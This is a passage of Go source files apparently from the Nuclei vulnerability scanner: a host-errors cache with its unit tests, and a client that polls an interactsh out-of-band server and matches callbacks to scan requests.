previously or removes it\nfunc (c *Cache) MarkFailedOrRemove(protoType string, ctx *contextargs.Context, err error) {\n\tif err != nil && !c.checkError(protoType, err) {\n\t\treturn\n\t}\n\n\tif err == nil {\n\t\t// Remove the host from cache\n\t\t//\n\t\t// NOTE(dwisiswant0): The decision was made to completely remove the\n\t\t// cached entry for the host instead of simply decrementing the error\n\t\t// count (using `(atomic.Int32).Swap` to update the value to `N-1`).\n\t\t// This approach was chosen because the error handling logic operates\n\t\t// concurrently, and decrementing the count could lead to UB (unexpected\n\t\t// behavior) even when the error is `nil`.\n\t\t//\n\t\t// To clarify, consider the following scenario where the error\n\t\t// encountered does NOT belong to the permanent network error category\n\t\t// (`errkit.ErrKindNetworkPermanent`):\n\t\t//\n\t\t// 1. Iteration 1: A timeout error occurs, and the error count for the\n\t\t//    host is incremented.\n\t\t// 2. Iteration 2: Another timeout error is encountered, leading to\n\t\t//    another increment in the host's error count.\n\t\t// 3. Iteration 3: A third timeout error happens, which increments the\n\t\t//    error count further. At this point, the host is flagged as\n\t\t//    unresponsive.\n\t\t// 4. Iteration 4: The host becomes reachable (no error or a transient\n\t\t//    issue resolved). Instead of performing a no-op and leaving the\n\t\t//    host in the cache, the host entry is removed entirely to reset its\n\t\t//    state.\n\t\t// 5. Iteration 5: A subsequent timeout error occurs after the host was\n\t\t//    removed and re-added to the cache. The error count is reset and\n\t\t//    starts from 1 again.\n\t\t//\n\t\t// This removal strategy ensures the cache is updated dynamically to\n\t\t// reflect the current state of the host without persisting stale or\n\t\t// irrelevant error counts that could interfere with future error\n\t\t// handling and tracking logic.\n\t\tc.Remove(ctx)\n\n\t\treturn\n\t}\n\n\tcacheKey := c.GetKeyFromContext(ctx, err)\n\tcache, cacheErr := c.failedTargets.GetIFPresent(cacheKey)\n\tif errors.Is(cacheErr, gcache.KeyNotFoundError) {\n\t\tcache = &cacheItem{errors: atomic.Int32{}}\n\t}\n\n\tcache.mu.Lock()\n\tdefer cache.mu.Unlock()\n\n\tif errkit.IsKind(err, errkit.ErrKindNetworkPermanent) {\n\t\tcache.isPermanentErr = true\n\t}\n\n\tcache.cause = err\n\tcache.errors.Add(1)\n\n\t_ = c.failedTargets.Set(cacheKey, cache)\n}\n\n// IsPermanentErr returns true if the error is permanent for the host.\nfunc (c *Cache) IsPermanentErr(ctx *contextargs.Context, err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\n\tif errkit.IsKind(err, errkit.ErrKindNetworkPermanent) {\n\t\treturn true\n\t}\n\n\tcacheKey := c.GetKeyFromContext(ctx, err)\n\tcache, cacheErr := c.failedTargets.GetIFPresent(cacheKey)\n\tif cacheErr != nil {\n\t\treturn false\n\t}\n\n\tcache.mu.Lock()\n\tdefer cache.mu.Unlock()\n\n\treturn cache.isPermanentErr\n}\n\n// GetKeyFromContext returns the key for the cache from the context\nfunc (c *Cache) GetKeyFromContext(ctx *contextargs.Context, err error) string {\n\t// Note:\n\t// ideally any changes made to remote addr in template like {{Hostname}}:81 etc\n\t// should be reflected in contextargs but it is not yet reflected in some cases\n\t// and needs refactor of ScanContext + ContextArgs to achieve that\n\t// i.e why we use real address from error if present\n\tvar address string\n\n\t// 1. the address carried inside the error (if the transport sets it)\n\tif err != nil {\n\t\tif v := errkit.GetAttrValue(err, \"address\"); v.Any() != nil {\n\t\t\taddress = v.String()\n\t\t}\n\t}\n\n\tif address == \"\" {\n\t\taddress = ctx.MetaInput.Address()\n\t}\n\n\tfinalValue := c.NormalizeCacheValue(address)\n\treturn finalValue\n}\n\nvar reCheckError = regexp.MustCompile(`(no address found for host|could not resolve host|connection refused|connection reset by peer|could not connect to any address found for host|timeout awaiting response headers)`)\n\n// checkError checks if an error represents a type that should be\n// added to the host skipping table.\n// it first parses error and extracts the cause and checks for blacklisted\n// or common errors that should be skipped\nfunc (c *Cache) checkError(protoType string, err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\tif protoType != \"http\" {\n\t\treturn false\n\t}\n\tkind := errkit.GetErrorKind(err, nucleierr.ErrTemplateLogic)\n\tswitch kind {\n\tcase nucleierr.ErrTemplateLogic:\n\t\t// these are errors that are not related to the target\n\t\t// and are due to template logic\n\t\treturn false\n\tcase errkit.ErrKindNetworkTemporary:\n\t\t// these should not be counted as host errors\n\t\treturn false\n\tcase errkit.ErrKindNetworkPermanent:\n\t\t// these should be counted as host errors\n\t\treturn true\n\tcase errkit.ErrKindDeadline:\n\t\t// these should not be counted as host errors\n\t\treturn false\n\tdefault:\n\t\t// parse error for further processing\n\t\terrX := errkit.FromError(err)\n\t\ttmp := errX.Cause()\n\t\tcause := tmp.Error()\n\t\tif stringsutil.ContainsAll(cause, \"ReadStatusLine:\", \"read: connection reset by peer\") {\n\t\t\t// this is a FP and should not be counted as a host error\n\t\t\t// because server closes connection when it reads corrupted bytes which we send via rawhttp\n\t\t\treturn false\n\t\t}\n\t\tif strings.HasPrefix(cause, \"ReadStatusLine:\") {\n\t\t\t// error is present in last part when using rawhttp\n\t\t\t// this will be fixed once errkit is used everywhere\n\t\t\tlastIndex := strings.LastIndex(cause, \":\")\n\t\t\tif lastIndex == -1 {\n\t\t\t\tlastIndex = 0\n\t\t\t}\n\t\t\tif lastIndex >= len(cause)-1 {\n\t\t\t\tlastIndex = 0\n\t\t\t}\n\t\t\tcause = cause[lastIndex+1:]\n\t\t}\n\t\tfor _, msg := range c.TrackError {\n\t\t\tif strings.Contains(cause, msg) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t\treturn reCheckError.MatchString(cause)\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/hosterrorscache/hosterrorscache_test.go",
    "content": "package hosterrorscache\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nconst (\n\tprotoType = \"http\"\n)\n\nfunc TestCacheCheck(t *testing.T) {\n\tcache := New(3, DefaultMaxHostsCount, nil)\n\terr := errors.New(\"net/http: timeout awaiting response headers\")\n\n\tt.Run(\"increment host error\", func(t *testing.T) {\n\t\tctx := newCtxArgs(t.Name())\n\t\tfor i := 1; i < 3; i++ {\n\t\t\tcache.MarkFailed(protoType, ctx, err)\n\t\t\tgot := cache.Check(protoType, ctx)\n\t\t\trequire.Falsef(t, got, \"got %v in iteration %d\", got, i)\n\t\t}\n\t})\n\n\tt.Run(\"flagged\", func(t *testing.T) {\n\t\tctx := newCtxArgs(t.Name())\n\t\tfor i := 1; i <= 3; i++ {\n\t\t\tcache.MarkFailed(protoType, ctx, err)\n\t\t}\n\n\t\tgot := cache.Check(protoType, ctx)\n\t\trequire.True(t, got)\n\t})\n\n\tt.Run(\"mark failed or remove\", func(t *testing.T) {\n\t\tctx := newCtxArgs(t.Name())\n\t\tcache.MarkFailedOrRemove(protoType, ctx, nil) // nil error should remove the host from cache\n\t\tgot := cache.Check(protoType, ctx)\n\t\trequire.False(t, got)\n\t})\n}\n\nfunc TestTrackErrors(t *testing.T) {\n\tcache := New(3, DefaultMaxHostsCount, []string{\"custom error\"})\n\n\tfor i := 0; i < 100; i++ {\n\t\tcache.MarkFailed(protoType, newCtxArgs(\"custom\"), errors.New(\"got: nested: custom error\"))\n\t\tgot := cache.Check(protoType, newCtxArgs(\"custom\"))\n\t\tif i < 2 {\n\t\t\t// till 3 the host is not flagged to skip\n\t\t\trequire.False(t, got)\n\t\t} else {\n\t\t\t// above 3 it must remain flagged to skip\n\t\t\trequire.True(t, got)\n\t\t}\n\t}\n\tvalue := cache.Check(protoType, newCtxArgs(\"custom\"))\n\trequire.Equal(t, true, value, \"could not get checked value\")\n}\n\nfunc TestCacheItemDo(t *testing.T) {\n\tvar (\n\t\tcount int\n\t\titem  cacheItem\n\t)\n\n\twg := sync.WaitGroup{}\n\tfor i := 0; i < 100; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\titem.Do(func() {\n\t\t\t\tcount++\n\t\t\t})\n\t\t}()\n\t}\n\twg.Wait()\n\n\t// ensures the increment happened only once regardless of the multiple call\n\trequire.Equal(t, count, 1)\n}\n\nfunc TestRemove(t *testing.T) {\n\tcache := New(3, DefaultMaxHostsCount, nil)\n\tctx := newCtxArgs(t.Name())\n\terr := errors.New(\"net/http: timeout awaiting response headers\")\n\n\tfor i := 0; i < 100; i++ {\n\t\tcache.MarkFailed(protoType, ctx, err)\n\t}\n\n\trequire.True(t, cache.Check(protoType, ctx))\n\tcache.Remove(ctx)\n\trequire.False(t, cache.Check(protoType, ctx))\n}\n\nfunc TestCacheMarkFailed(t *testing.T) {\n\tcache := New(3, DefaultMaxHostsCount, nil)\n\n\ttests := []struct {\n\t\thost     string\n\t\texpected int32\n\t}{\n\t\t{\"http://example.com:80\", 1},\n\t\t{\"example.com:80\", 2},\n\t\t// earlier if port is not provided then port was omitted\n\t\t// but from now it will default to appropriate http scheme based port with 80 as default\n\t\t{\"example.com:443\", 1},\n\t}\n\n\tfor _, test := range tests {\n\t\tnormalizedCacheValue := cache.GetKeyFromContext(newCtxArgs(test.host), nil)\n\t\tcache.MarkFailed(protoType, newCtxArgs(test.host), errors.New(\"no address found for host\"))\n\t\tfailedTarget, err := cache.failedTargets.Get(normalizedCacheValue)\n\t\trequire.Nil(t, err)\n\t\trequire.NotNil(t, failedTarget)\n\n\t\trequire.EqualValues(t, test.expected, failedTarget.errors.Load())\n\t}\n}\n\nfunc TestCacheMarkFailedConcurrent(t *testing.T) {\n\tcache := New(3, DefaultMaxHostsCount, nil)\n\n\ttests := []struct {\n\t\thost     string\n\t\texpected int32\n\t}{\n\t\t{\"http://example.com:80\", 200},\n\t\t{\"example.com:80\", 200},\n\t\t{\"example.com:443\", 100},\n\t}\n\n\t// the cache is not atomic during items creation, so we pre-create them with counter to zero\n\tfor _, test := range tests {\n\t\tnormalizedValue := cache.NormalizeCacheValue(test.host)\n\t\tnewItem := &cacheItem{errors: atomic.Int32{}}\n\t\tnewItem.errors.Store(0)\n\t\t_ = cache.failedTargets.Set(normalizedValue, newItem)\n\t}\n\n\twg := sync.WaitGroup{}\n\tfor _, test := range tests {\n\t\tcurrentTest := test\n\t\tfor i := 0; i < 100; i++ {\n\t\t\twg.Add(1)\n\t\t\tgo func() {\n\t\t\t\tdefer wg.Done()\n\t\t\t\tcache.MarkFailed(protoType, newCtxArgs(currentTest.host), errors.New(\"net/http: timeout awaiting response headers\"))\n\t\t\t}()\n\t\t}\n\t}\n\twg.Wait()\n\n\tfor _, test := range tests {\n\t\trequire.True(t, cache.Check(protoType, newCtxArgs(test.host)))\n\n\t\tnormalizedCacheValue := cache.NormalizeCacheValue(test.host)\n\t\tfailedTarget, err := cache.failedTargets.Get(normalizedCacheValue)\n\t\trequire.Nil(t, err)\n\t\trequire.NotNil(t, failedTarget)\n\n\t\trequire.EqualValues(t, test.expected, failedTarget.errors.Load())\n\t}\n}\n\nfunc TestCacheCheckConcurrent(t *testing.T) {\n\tcache := New(3, DefaultMaxHostsCount, nil)\n\tctx := newCtxArgs(t.Name())\n\n\twg := sync.WaitGroup{}\n\tfor i := 1; i <= 100; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tcache.MarkFailed(protoType, ctx, errors.New(\"no address found for host\"))\n\t\t\tif i >= 3 {\n\t\t\t\tgot := cache.Check(protoType, ctx)\n\t\t\t\trequire.True(t, got)\n\t\t\t}\n\t\t}()\n\t}\n\twg.Wait()\n}\n\nfunc newCtxArgs(value string) *contextargs.Context {\n\tctx := contextargs.NewWithInput(context.TODO(), value)\n\treturn ctx\n}\n"
  },
  {
    "path": "pkg/protocols/common/interactsh/const.go",
    "content": "package interactsh\n\nimport (\n\t\"errors\"\n\t\"regexp\"\n\t\"time\"\n)\n\nvar (\n\tdefaultInteractionDuration = 60 * time.Second\n\tinteractshURLMarkerRegex   = regexp.MustCompile(`(%7[B|b]|\\{){2}(interactsh-url(?:_[0-9]+){0,3})(%7[D|d]|\\}){2}`)\n\n\tErrInteractshClientNotInitialized = errors.New(\"interactsh client not initialized\")\n)\n\nconst (\n\tstopAtFirstMatchAttribute = \"stop-at-first-match\"\n\ttemplateIdAttribute       = \"template-id\"\n\n\tdefaultMaxInteractionsCount = 5000\n)\n"
  },
  {
    "path": "pkg/protocols/common/interactsh/interactsh.go",
    "content": "package interactsh\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"errors\"\n\n\t\"github.com/Mzack9999/gcache\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/interactsh/pkg/client\"\n\t\"github.com/projectdiscovery/interactsh/pkg/server\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/writer\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\n// Client is a wrapped client for interactsh server.\ntype Client struct {\n\tsync.Once\n\tsync.RWMutex\n\n\toptions *Options\n\n\t// interactsh is a client for interactsh server.\n\tinteractsh *client.Client\n\t// requests is a stored cache for interactsh-url->request-event data.\n\trequests gcache.Cache[string, *RequestData]\n\t// interactions is a stored cache for interactsh-interaction->interactsh-url data\n\tinteractions gcache.Cache[string, []*server.Interaction]\n\t// matchedTemplates is a stored cache to track matched templates\n\tmatchedTemplates gcache.Cache[string, bool]\n\t// interactshURLs is a stored cache to track multiple interactsh markers\n\tinteractshURLs gcache.Cache[string, string]\n\n\teviction         time.Duration\n\tpollDuration     time.Duration\n\tcooldownDuration time.Duration\n\n\thostname string\n\n\t// determines if wait the cooldown period in case of generated URL\n\tgenerated atomic.Bool\n\tmatched   atomic.Bool\n}\n\n// New returns a new interactsh server client\nfunc New(options *Options) (*Client, error) {\n\trequestsCache := gcache.New[string, *RequestData](options.CacheSize).LRU().Build()\n\tinteractionsCache := gcache.New[string, []*server.Interaction](defaultMaxInteractionsCount).LRU().Build()\n\tmatchedTemplateCache := gcache.New[string, bool](defaultMaxInteractionsCount).LRU().Build()\n\tinteractshURLCache := gcache.New[string, string](defaultMaxInteractionsCount).LRU().Build()\n\n\tinteractClient := &Client{\n\t\teviction:         options.Eviction,\n\t\tinteractions:     interactionsCache,\n\t\tmatchedTemplates: matchedTemplateCache,\n\t\tinteractshURLs:   interactshURLCache,\n\t\toptions:          options,\n\t\trequests:         requestsCache,\n\t\tpollDuration:     options.PollDuration,\n\t\tcooldownDuration: options.CooldownPeriod,\n\t}\n\treturn interactClient, nil\n}\n\nfunc (c *Client) poll() error {\n\tif c.options.NoInteractsh {\n\t\t// do not init if disabled\n\t\treturn ErrInteractshClientNotInitialized\n\t}\n\tinteractsh, err := client.New(&client.Options{\n\t\tServerURL:           c.options.ServerURL,\n\t\tToken:               c.options.Authorization,\n\t\tDisableHTTPFallback: c.options.DisableHttpFallback,\n\t\tHTTPClient:          c.options.HTTPClient,\n\t\tKeepAliveInterval:   time.Minute,\n\t})\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"could not create client\")\n\t}\n\n\tc.interactsh = interactsh\n\n\tinteractURL := interactsh.URL()\n\tinteractDomain := interactURL[strings.Index(interactURL, \".\")+1:]\n\tgologger.Info().Msgf(\"Using Interactsh Server: %s\", interactDomain)\n\n\tc.setHostname(interactDomain)\n\n\terr = interactsh.StartPolling(c.pollDuration, func(interaction *server.Interaction) {\n\t\trequest, err := c.requests.Get(interaction.UniqueID)\n\t\t// for more context in github actions\n\t\tif strings.EqualFold(os.Getenv(\"GITHUB_ACTIONS\"), \"true\") && c.options.Debug {\n\t\t\tgologger.DefaultLogger.Print().Msgf(\"[Interactsh]: got interaction of %v for request %v and error %v\", interaction, request, err)\n\t\t}\n\t\tif errors.Is(err, gcache.KeyNotFoundError) || request == nil {\n\t\t\t// If we don't have any request for this ID, add it to temporary\n\t\t\t// lru cache, so we can correlate when we get an add request.\n\t\t\titems, err := c.interactions.Get(interaction.UniqueID)\n\t\t\tif errkit.Is(err, gcache.KeyNotFoundError) || items == nil {\n\t\t\t\t_ = c.interactions.SetWithExpire(interaction.UniqueID, []*server.Interaction{interaction}, defaultInteractionDuration)\n\t\t\t} else {\n\t\t\t\titems = append(items, interaction)\n\t\t\t\t_ = c.interactions.SetWithExpire(interaction.UniqueID, items, defaultInteractionDuration)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\n\t\tif requestShouldStopAtFirstMatch(request) || c.options.StopAtFirstMatch {\n\t\t\tif gotItem, err := c.matchedTemplates.Get(hash(request.Event.InternalEvent)); gotItem && err == nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t_ = c.processInteractionForRequest(interaction, request)\n\t})\n\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"could not perform interactsh polling\")\n\t}\n\treturn nil\n}\n\n// requestShouldStopAtFirstmatch checks if further interactions should be stopped\n// note: extra care should be taken while using this function since internalEvent is\n// synchronized all the time and if caller functions has already acquired lock its best to explicitly specify that\n// we could use `TryLock()` but that may over complicate things and need to differentiate\n// situations whether to block or skip\nfunc requestShouldStopAtFirstMatch(request *RequestData) bool {\n\trequest.Event.RLock()\n\tdefer request.Event.RUnlock()\n\n\tif stop, ok := request.Event.InternalEvent[stopAtFirstMatchAttribute]; ok {\n\t\tif v, ok := stop.(bool); ok {\n\t\t\treturn v\n\t\t}\n\t}\n\treturn false\n}\n\n// processInteractionForRequest processes an interaction for a request\nfunc (c *Client) processInteractionForRequest(interaction *server.Interaction, data *RequestData) bool {\n\tvar result *operators.Result\n\tvar matched bool\n\tdata.Event.Lock()\n\tdata.Event.InternalEvent[\"interactsh_protocol\"] = interaction.Protocol\n\tif strings.EqualFold(interaction.Protocol, \"dns\") {\n\t\tdata.Event.InternalEvent[\"interactsh_request\"] = strings.ToLower(interaction.RawRequest)\n\t} else {\n\t\tdata.Event.InternalEvent[\"interactsh_request\"] = interaction.RawRequest\n\t}\n\tdata.Event.InternalEvent[\"interactsh_response\"] = interaction.RawResponse\n\tdata.Event.InternalEvent[\"interactsh_ip\"] = interaction.RemoteAddress\n\tdata.Event.Unlock()\n\n\tif data.Operators != nil {\n\t\tresult, matched = data.Operators.Execute(data.Event.InternalEvent, data.MatchFunc, data.ExtractFunc, c.options.Debug || c.options.DebugRequest || c.options.DebugResponse)\n\t} else {\n\t\t// this is most likely a bug so error instead of warning\n\t\tvar templateID string\n\t\tif data.Event.InternalEvent != nil {\n\t\t\ttemplateID = fmt.Sprint(data.Event.InternalEvent[templateIdAttribute])\n\t\t}\n\t\tgologger.Error().Msgf(\"missing compiled operators for '%v' template\", templateID)\n\t}\n\n\t// for more context in github actions\n\tif strings.EqualFold(os.Getenv(\"GITHUB_ACTIONS\"), \"true\") && c.options.Debug {\n\t\tgologger.DefaultLogger.Print().Msgf(\"[Interactsh]: got result %v and status %v after processing interaction\", result, matched)\n\t}\n\n\tif c.options.FuzzParamsFrequency != nil {\n\t\tif !matched {\n\t\t\tc.options.FuzzParamsFrequency.MarkParameter(data.Parameter, data.Request.String(), data.Operators.TemplateID)\n\t\t} else {\n\t\t\tc.options.FuzzParamsFrequency.UnmarkParameter(data.Parameter, data.Request.String(), data.Operators.TemplateID)\n\t\t}\n\t}\n\n\t// if we don't match, return\n\tif !matched || result == nil {\n\t\treturn false\n\t}\n\tc.requests.Remove(interaction.UniqueID)\n\n\tif data.Event.OperatorsResult != nil {\n\t\tdata.Event.OperatorsResult.Merge(result)\n\t} else {\n\t\tdata.Event.SetOperatorResult(result)\n\t}\n\t// ensure payload values are preserved for interactsh-only matches\n\tdata.Event.Lock()\n\tif data.Event.OperatorsResult != nil && len(data.Event.OperatorsResult.PayloadValues) == 0 {\n\t\tif payloads, ok := data.Event.InternalEvent[\"payloads\"].(map[string]interface{}); ok {\n\t\t\tdata.Event.OperatorsResult.PayloadValues = payloads\n\t\t}\n\t}\n\tdata.Event.Unlock()\n\n\tdata.Event.Lock()\n\tdata.Event.Results = data.MakeResultFunc(data.Event)\n\tfor _, event := range data.Event.Results {\n\t\tevent.Interaction = interaction\n\t}\n\tdata.Event.Unlock()\n\n\tif c.options.Debug || c.options.DebugRequest || c.options.DebugResponse {\n\t\tc.debugPrintInteraction(interaction, data.Event.OperatorsResult)\n\t}\n\n\t// if event is not already matched, write it to output\n\tif !data.Event.InteractshMatched.Load() && writer.WriteResult(data.Event, c.options.Output, c.options.Progress, c.options.IssuesClient) {\n\t\tdata.Event.InteractshMatched.Store(true)\n\t\tc.matched.Store(true)\n\t\tif requestShouldStopAtFirstMatch(data) || c.options.StopAtFirstMatch {\n\t\t\t_ = c.matchedTemplates.SetWithExpire(hash(data.Event.InternalEvent), true, defaultInteractionDuration)\n\t\t}\n\t}\n\n\treturn true\n}\n\nfunc (c *Client) AlreadyMatched(data *RequestData) bool {\n\tdata.Event.RLock()\n\tdefer data.Event.RUnlock()\n\n\treturn c.matchedTemplates.Has(hash(data.Event.InternalEvent))\n}\n\n// URL returns a new URL that can be interacted with\nfunc (c *Client) URL() (string, error) {\n\t// first time initialization\n\tvar err error\n\tc.Do(func() {\n\t\terr = c.poll()\n\t})\n\tif err != nil {\n\t\treturn \"\", errkit.Wrap(ErrInteractshClientNotInitialized, err.Error())\n\t}\n\n\tif c.interactsh == nil {\n\t\treturn \"\", ErrInteractshClientNotInitialized\n\t}\n\n\tc.generated.Store(true)\n\treturn c.interactsh.URL(), nil\n}\n\n// Close the interactsh clients after waiting for cooldown period.\nfunc (c *Client) Close() bool {\n\tif c.cooldownDuration > 0 && c.generated.Load() {\n\t\ttime.Sleep(c.cooldownDuration)\n\t}\n\tif c.interactsh != nil {\n\t\t_ = c.interactsh.StopPolling()\n\t\t_ = c.interactsh.Close()\n\t}\n\n\tc.requests.Purge()\n\tc.interactions.Purge()\n\tc.matchedTemplates.Purge()\n\tc.interactshURLs.Purge()\n\n\treturn c.matched.Load()\n}\n\n// ReplaceMarkers replaces the default {{interactsh-url}} placeholders with interactsh urls\nfunc (c *Client) Replace(data string, interactshURLs []string) (string, []string) {\n\treturn c.ReplaceWithMarker(data, interactshURLMarkerRegex, interactshURLs)\n}\n\n// ReplaceMarkers replaces the placeholders with interactsh urls and appends them to interactshURLs\nfunc (c *Client) ReplaceWithMarker(data string, regex *regexp.Regexp, interactshURLs []string) (string, []string) {\n\tfor _, interactshURLMarker := range regex.FindAllString(data, -1) {\n\t\tif url, err := c.NewURLWithData(interactshURLMarker); err == nil {\n\t\t\tinteractshURLs = append(interactshURLs, url)\n\t\t\tdata = strings.Replace(data, interactshURLMarker, url, 1)\n\t\t}\n\t}\n\treturn data, interactshURLs\n}\n\nfunc (c *Client) NewURL() (string, error) {\n\treturn c.NewURLWithData(\"\")\n}\n\nfunc (c *Client) NewURLWithData(data string) (string, error) {\n\turl, err := c.URL()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif url == \"\" {\n\t\treturn \"\", errors.New(\"empty interactsh url\")\n\t}\n\t_ = c.interactshURLs.SetWithExpire(url, data, defaultInteractionDuration)\n\treturn url, nil\n}\n\n// MakePlaceholders does placeholders for interact URLs and other data to a map\nfunc (c *Client) MakePlaceholders(urls []string, data map[string]interface{}) {\n\tdata[\"interactsh-server\"] = c.getHostname()\n\tfor _, url := range urls {\n\t\tif interactshURLMarker, err := c.interactshURLs.Get(url); interactshURLMarker != \"\" && err == nil {\n\t\t\tinteractshMarker := strings.TrimSuffix(strings.TrimPrefix(interactshURLMarker, \"{{\"), \"}}\")\n\n\t\t\tc.interactshURLs.Remove(url)\n\n\t\t\tdata[interactshMarker] = url\n\t\t\turlIndex := strings.Index(url, \".\")\n\t\t\tif urlIndex == -1 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tdata[strings.Replace(interactshMarker, \"url\", \"id\", 1)] = url[:urlIndex]\n\t\t}\n\t}\n}\n\n// MakeResultEventFunc is a result making function for nuclei\ntype MakeResultEventFunc func(wrapped *output.InternalWrappedEvent) []*output.ResultEvent\n\n// RequestData contains data for a request event\ntype RequestData struct {\n\tMakeResultFunc MakeResultEventFunc\n\tEvent          *output.InternalWrappedEvent\n\tOperators      *operators.Operators\n\tMatchFunc      operators.MatchFunc\n\tExtractFunc    operators.ExtractFunc\n\n\tParameter string\n\tRequest   *retryablehttp.Request\n}\n\n// RequestEvent is the event for a network request sent by nuclei.\nfunc (c *Client) RequestEvent(interactshURLs []string, data *RequestData) {\n\tfor _, interactshURL := range interactshURLs {\n\t\tid := strings.TrimRight(strings.TrimSuffix(interactshURL, c.getHostname()), \".\")\n\n\t\tif requestShouldStopAtFirstMatch(data) || c.options.StopAtFirstMatch {\n\t\t\tgotItem, err := c.matchedTemplates.Get(hash(data.Event.InternalEvent))\n\t\t\tif gotItem && err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tinteractions, err := c.interactions.Get(id)\n\t\tif interactions != nil && err == nil {\n\t\t\tfor _, interaction := range interactions {\n\t\t\t\tif c.processInteractionForRequest(interaction, data) {\n\t\t\t\t\tc.interactions.Remove(id)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t_ = c.requests.SetWithExpire(id, data, c.eviction)\n\t\t}\n\t}\n}\n\n// HasMatchers returns true if an operator has interactsh part\n// matchers or extractors.\n//\n// Used by requests to show result or not depending on presence of interact.sh\n// data part matchers.\nfunc HasMatchers(op *operators.Operators) bool {\n\tif op == nil {\n\t\treturn false\n\t}\n\n\tfor _, matcher := range op.Matchers {\n\t\tfor _, dsl := range matcher.DSL {\n\t\t\tif stringsutil.ContainsAnyI(dsl, \"interactsh\") {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t\tif stringsutil.HasPrefixI(matcher.Part, \"interactsh\") {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor _, matcher := range op.Extractors {\n\t\tif stringsutil.HasPrefixI(matcher.Part, \"interactsh\") {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// HasMarkers checks if the text contains interactsh markers\nfunc HasMarkers(data string) bool {\n\treturn interactshURLMarkerRegex.Match([]byte(data))\n}\n\nfunc (c *Client) debugPrintInteraction(interaction *server.Interaction, event *operators.Result) {\n\tbuilder := &bytes.Buffer{}\n\n\tswitch interaction.Protocol {\n\tcase \"dns\":\n\t\tbuilder.WriteString(formatInteractionHeader(\"DNS\", interaction.FullId, interaction.RemoteAddress, interaction.Timestamp))\n\t\tif c.options.DebugRequest || c.options.Debug {\n\t\t\tbuilder.WriteString(formatInteractionMessage(\"DNS Request\", interaction.RawRequest, event, c.options.NoColor))\n\t\t}\n\t\tif c.options.DebugResponse || c.options.Debug {\n\t\t\tbuilder.WriteString(formatInteractionMessage(\"DNS Response\", interaction.RawResponse, event, c.options.NoColor))\n\t\t}\n\tcase \"http\":\n\t\tbuilder.WriteString(formatInteractionHeader(\"HTTP\", interaction.FullId, interaction.RemoteAddress, interaction.Timestamp))\n\t\tif c.options.DebugRequest || c.options.Debug {\n\t\t\tbuilder.WriteString(formatInteractionMessage(\"HTTP Request\", interaction.RawRequest, event, c.options.NoColor))\n\t\t}\n\t\tif c.options.DebugResponse || c.options.Debug {\n\t\t\tbuilder.WriteString(formatInteractionMessage(\"HTTP Response\", interaction.RawResponse, event, c.options.NoColor))\n\t\t}\n\tcase \"smtp\":\n\t\tbuilder.WriteString(formatInteractionHeader(\"SMTP\", interaction.FullId, interaction.RemoteAddress, interaction.Timestamp))\n\t\tif c.options.DebugRequest || c.options.Debug || c.options.DebugResponse {\n\t\t\tbuilder.WriteString(formatInteractionMessage(\"SMTP Interaction\", interaction.RawRequest, event, c.options.NoColor))\n\t\t}\n\tcase \"ldap\":\n\t\tbuilder.WriteString(formatInteractionHeader(\"LDAP\", interaction.FullId, interaction.RemoteAddress, interaction.Timestamp))\n\t\tif c.options.DebugRequest || c.options.Debug || c.options.DebugResponse {\n\t\t\tbuilder.WriteString(formatInteractionMessage(\"LDAP Interaction\", interaction.RawRequest, event, c.options.NoColor))\n\t\t}\n\t}\n\t_, _ = fmt.Fprint(os.Stderr, builder.String())\n}\n\nfunc formatInteractionHeader(protocol, ID, address string, at time.Time) string {\n\treturn fmt.Sprintf(\"[%s] Received %s interaction from %s at %s\", ID, protocol, address, at.Format(\"2006-01-02 15:04:05\"))\n}\n\nfunc formatInteractionMessage(key, value string, event *operators.Result, noColor bool) string {\n\tvalue = responsehighlighter.Highlight(event, value, noColor, false)\n\treturn fmt.Sprintf(\"\\n------------\\n%s\\n------------\\n\\n%s\\n\\n\", key, value)\n}\n\nfunc hash(internalEvent output.InternalEvent) string {\n\ttemplateId := internalEvent[templateIdAttribute].(string)\n\thost := internalEvent[\"host\"].(string)\n\treturn fmt.Sprintf(\"%s:%s\", templateId, host)\n}\n\nfunc (c *Client) getHostname() string {\n\tc.RLock()\n\tdefer c.RUnlock()\n\n\treturn c.hostname\n}\n\nfunc (c *Client) setHostname(hostname string) {\n\tc.Lock()\n\tdefer c.Unlock()\n\n\tc.hostname = hostname\n}\n\n// GetHostname returns the configured interactsh server hostname.\nfunc (c *Client) GetHostname() string {\n\treturn c.getHostname()\n}\n"
  },
  {
    "path": "pkg/protocols/common/interactsh/options.go",
